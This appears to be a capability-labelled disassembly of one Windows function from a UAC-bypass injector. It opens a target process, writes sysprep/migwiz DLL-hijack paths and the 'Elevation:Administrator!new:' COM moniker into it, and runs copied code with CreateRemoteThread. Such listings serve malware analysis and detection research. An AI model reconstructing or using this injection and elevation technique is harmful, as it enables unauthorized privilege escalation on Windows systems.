Function at 0x180001930
Capabilities:
Check if file exists
Create thread
Get common file path
Inject thread
Link many functions at runtime
Terminate process

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xbe0
mov qword [rsp + 0x170], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rax, qword [0x18001e038]
xor rax, rsp
mov qword [rsp + 0xbd0], rax
mov r15d, edx
mov byte [rsp + 0xa0], 0
lea rcx, [0x1800014e0]
lea rax, [0x180001920]
cmp rcx, rax
jb 0x18000199c
lea rcx, str.Unexpected_function_layout
call fcn.180001450
jmp 0x180002c25
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
test rax, rax
jne 0x1800019c2
lea rcx, str.Couldnt_load_kernel32.dll
call fcn.180001450
jmp 0x180002c25
lea rdx, [0x18001b3a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, [0x18001b3b0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, [0x18001b3c0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, [0x18001b3d0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, [0x18001b3e0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test r12, r12
je 0x180002bfa
test rdi, rdi
je 0x180002bfa
test rbx, rbx
je 0x180002bfa
test rsi, rsi
je 0x180002bfa
test rax, rax
je 0x180002bfa
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x9c0]
call fcn.1800062b0
lea rdx, [rsp + 0x9c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.instsrv.dat
mov edx, 0x104
lea rcx, [rsp + 0x9c0]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x7b0]
call fcn.1800062b0
mov edx, 0x104
lea rcx, [rsp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x390]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x390]
call fcn.180003c88
lea r8, str.migwiz
mov edx, 0x104
lea rcx, [rsp + 0x390]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.180003c88
lea r8, str.migwizCRYPTBASE.dll
mov edx, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x180]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.180003c88
lea r8, str.migwizmigwiz.exe
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.180003998
lea rcx, [rsp + 0x180]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180001c7d
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x390]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x390]
call fcn.180003c88
lea r8, str._sysprep
mov edx, 0x104
lea rcx, [rsp + 0x390]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.180003c88
lea r8, str._sysprepCRYPTBASE.dll
mov edx, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x180]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.180003c88
lea r8, str._sysprep_sysprep.exe
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.180003998
lea r13, str.CRYPTBASE.dll
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xa4]
call rax
cmp dword [rsp + 0xa4], 0xa
jb 0x180001da2
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x390]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x390]
call fcn.180003c88
lea r8, str._sysprep
mov edx, 0x104
lea rcx, [rsp + 0x390]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.180003c88
lea r8, str._sysprepdbgcore.dll
mov edx, 0x104
lea rcx, [rsp + 0x5a0]
call fcn.180003998
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x180]
call fcn.1800062b0
lea r8, [rsp + 0x7b0]
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.180003c88
lea r8, str._sysprep_sysprep.exe
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.180003998
lea r13, str.dbgcore.dll
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
mov rdx, rax
lea rcx, str.OpenProcess_hTargetProc___d_n
call fcn.180001450
test r15, r15
je 0x180002c06
lea rax, vtable.W7EUtils::CRemoteMemory.0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r15
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
mov ecx, 8
call fcn.1800041d4
test rax, rax
je 0x180001e01
lea rcx, [rsp + 0x60]
mov qword [rax], rcx
jmp 0x180001e03
xor eax, eax
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x60]
call fcn.180003290
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 0
mov byte [rsp + 0x98], 0
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rbp
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x9c0]
repne scasw ax, word [rdi]
not rcx
lea rbx, [rcx + rcx]
mov dword [rsp + 0x20], 4
mov r9d, 0x1004
mov r8, rbx
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
mov ebp, 1
test rax, rax
je 0x180001f2b
xor esi, esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea r8, [rsp + 0x9c0]
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001f0f
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x180001f35
jmp 0x180001f2d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
jmp 0x180001f2d
xor esi, esi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0xd8], rdi
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x390]
repne scasw ax, word [rdi]
not rcx
lea rbx, [rcx + rcx]
mov dword [rsp + 0x20], 4
mov r9d, 0x1004
mov r8, rbx
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002009
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea r8, [rsp + 0x390]
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001fef
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x180002011
jmp 0x180002009
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0xe0], rdi
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasw ax, word [rdi]
not rcx
lea rbx, [rcx + rcx]
mov dword [rsp + 0x20], 4
mov r9d, 0x1004
mov r8, rbx
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800020db
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, r13
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800020c1
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x1800020e3
jmp 0x1800020db
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0xe8], rdi
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x5a0]
repne scasw ax, word [rdi]
not rcx
lea rbx, [rcx + rcx]
mov dword [rsp + 0x20], 4
mov r9d, 0x1004
mov r8, rbx
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800021b7
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea r8, [rsp + 0x5a0]
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000219d
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x1800021bf
jmp 0x1800021b7
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0xf0], rdi
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x180]
repne scasw ax, word [rdi]
not rcx
lea rbx, [rcx + rcx]
mov dword [rsp + 0x20], 4
mov r9d, 0x1004
mov r8, rbx
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002293
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea r8, [rsp + 0x180]
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002279
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x18000229b
jmp 0x180002293
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0xf8], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0x18]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x18000235a
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x18
lea r8, str.shell32.dll
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002340
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x180002362
jmp 0x18000235a
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x128], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0x14]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002421
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x14
lea r8, str.ole32.dll
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002407
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x180002429
jmp 0x180002421
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x130], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0xd]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800024e8
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0xd
lea r8, str.CoInitialize
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800024ce
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x1800024f0
jmp 0x1800024e8
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x138], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0xf]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800025af
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0xf
lea r8, str.CoUninitialize
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002595
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x1800025b7
jmp 0x1800025af
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x140], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0xc]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002676
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0xc
lea r8, str.CoGetObject
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000265c
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x18000267e
jmp 0x180002676
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x148], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0x11]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x18000273d
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x11
lea r8, str.CoCreateInstance
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002723
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x180002745
jmp 0x18000273d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x150], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0x1c]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002804
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x1c
lea r8, str.SHCreateItemFromParsingName
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800027ea
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x18000280c
jmp 0x180002804
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x158], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
lea r8d, [rdx + 0x10]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800028cb
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, str.ShellExecuteExW
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800028b1
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x1800028d3
jmp 0x1800028cb
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x160], rdi
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
mov r8d, 0x86
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002994
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x86
lea r8, str.Elevation:Administrator_new:3ad05575_8857_4850_9277_11b85bdb8e09
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000297a
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x18000299c
jmp 0x180002994
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], rsi
mov byte [rsp + 0x20], bpl
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [0x18001b7e0]
lea rcx, [rsp + 0x50]
call fcn.180002fa0
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x20], bpl
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [0x18001b7f0]
lea rcx, [rsp + 0x50]
call fcn.180002fa0
mov qword [rsp + 0x118], rax
mov byte [rsp + 0x20], bpl
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [0x18001b800]
lea rcx, [rsp + 0x50]
call fcn.180002fa0
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1004
mov r8d, 0xb8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180002ad5
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0xb8
lea r8, [rsp + 0xb0]
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002abb
mov rbx, qword [rsp + 0x88]
lea r9, [rsp + 0x40]
mov r8, qword [rbx + 8]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.1800034d0
mov rdi, rax
mov rdx, rbp
lea rcx, [rsp + 0x60]
call fcn.180003540
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
mov rdi, qword [rsp + 0x40]
test rdi, rdi
jne 0x180002add
jmp 0x180002ad5
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdi, rsi
mov byte [rsp + 0x98], bpl
lea r8, [0x180001920]
lea rdx, [0x1800014e0]
sub r8, rdx
mov byte [rsp + 0x20], bpl
movzx r9d, bpl
lea rcx, [rsp + 0x50]
call fcn.180002fa0
mov rbx, rax
mov rdx, rax
lea rcx, str.pRemoteFunc___x_n
call fcn.180001450
cmp byte [rsp + 0x98], 0
je 0x180002b2e
lea rcx, str.Remote_allocation_failed
call fcn.180001450
jmp 0x180002be5
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x180002b63
lea rcx, str.Couldnt_create_remote_thread
call fcn.180001450
jmp 0x180002be5
mov edx, 0x7530
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x180002b88
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x180002be5
mov ecx, dword [rsp + 0xa0]
movzx ecx, cl
cmp eax, 0x102
cmovne ecx, ebp
mov dword [rsp + 0xa0], ecx
mov rax, qword [rsp + 0x88]
mov rcx, qword [rax]
mov qword [rax], rax
mov rax, qword [rsp + 0x88]
mov qword [rax + 8], rax
mov qword [rsp + 0x90], rsi
cmp rcx, qword [rsp + 0x88]
je 0x180002be5
nop dword [rax]
mov rdi, qword [rcx]
call fcn.1800040d8
mov rcx, rdi
cmp rdi, qword [rsp + 0x88]
jne 0x180002bd0
lea rcx, [rsp + 0x50]
call fcn.180002e30
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002c06
lea rcx, str.Couldnt_find_API
call fcn.180001450
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [rsp + 0xa0], 0
je 0x180002c25
lea rcx, str.Error_waiting_on_the_remote_thread_to_complete
call fcn.180001450
mov rcx, qword [rsp + 0xbd0]
xor rcx, rsp
call fcn.180003880
lea r11, [rsp + 0xbe0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret